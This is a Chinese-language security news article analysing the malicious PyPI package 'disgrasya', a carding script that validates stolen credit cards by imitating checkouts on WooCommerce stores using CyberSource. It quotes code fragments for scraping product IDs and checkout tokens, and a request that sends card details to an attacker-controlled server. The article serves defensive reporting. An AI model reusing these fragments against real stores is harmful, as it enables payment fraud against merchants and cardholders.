在 Python 仓库中,发现了一个复杂的恶意 Python 包 “disgrasya”,它包含一个专门针对 WooCommerce 商店的全自动信用卡盗刷脚本。
这个包名在菲律宾俚语中意为 “灾难”,攻击者利用它无需太多专业技术,就能在真实的电子商务支付系统中测试被盗的信用卡信息。
恶意代码通过模拟合法顾客结账行为发起隐秘攻击,这让欺诈检测系统极难识别和拦截。
与典型的利用域名仿冒或欺骗性命名的供应链攻击不同,“disgrasya” 并未试图掩盖其恶意本质。相反,它公然成为欺诈者验证被盗信用卡信息的传播工具。
该恶意包专门针对使用 WooCommerce 并以 CyberSource 作为支付网关的商家,为这些广泛使用的电子商务系统制造了特定的攻击途径。
Socket.dev 的研究人员发现,在被发现之前,这个包的下载量已超过 34860 次,这表明它在潜在攻击者中分布广泛。
恶意负载最早出现在 7.36.9 版本,后续所有版本都包含相同的嵌入式攻击逻辑。如此高的下载量意味着该工具可能已在众多欺诈活动中被广泛使用。
由这个包引发的信用卡盗刷攻击,对企业构成了日益严重的财务威胁。行业研究估计,2023 年至 2028 年间,全球在线支付欺诈将使商家损失超过 3620 亿美元,年度损失从 2023 年的 380 亿美元几乎翻倍,到 2028 年达到 910 亿美元,增长了 140%。
攻击机制:多阶段结账模拟
恶意软件通过精心策划的多阶段流程运作,旨在模仿合法顾客行为的同时验证被盗的信用卡信息。
起初,脚本通过简单的 GET 请求和 HTML 解析提取产品 ID,以此在目标 WooCommerce 商店中识别商品:
url = f”https://{domain}/?=&post_type=product”
response = session.get(url, proxies=proxy)
split_text = response.text.split(‘data-product_id=”‘)id = split_text[1].split(‘”‘)[0]
识别商品后,脚本通过 WooCommerce 的 AJAX 端点将其添加到购物车,模拟标准购物流程。
然后,它从结账页面提取关键安全令牌 —— CSRF 随机数和 CyberSource capture_context,这些对于处理合法支付至关重要:
url = f”https://{domain}/checkout/”
response = session.get(url, proxies=proxy)
checkoutNonce = response.text.split(‘name=”woocommerce-process-checkout-nonce” value=”‘)[1].split(‘”‘)
capture_context = response.text.split(‘”capture_context”:”‘)[1].split(‘”‘)[0]
最令人担忧的是,被盗的信用卡数据会被泄露到攻击者控制的服务器(railgunmisaka.com),在提交到支付网关之前,这些数据会被进行令牌化处理:
url = “https://www.railgunmisaka.com/cybersourceFlexV2”
headers = {
“Accept”: “application/json”,
“Content-Type”: “application/json”}
data = {
“card”: f”{cc}|{mm}|{yy}|{cvv}”,
“capture_context”: capture_context}
这种攻击之所以特别危险,是因为它完美模拟了合法的结账行为。从浏览商品到完成支付的每一个动作,都遵循正常用户模式,极少触发欺诈检测系统。脚本甚至会使用随机生成的顾客信息,并妥善处理成功和失败的交易,这使得检测异常困难。
虽然这个特定的包已从 PyPI 中移除,但相关技术依然可行,可能会以不同的包名再次出现。这凸显了对 Python 包仓库和电子商务结账系统加强安全监控的必要性。
发表评论
您还未登录,请先登录。
登录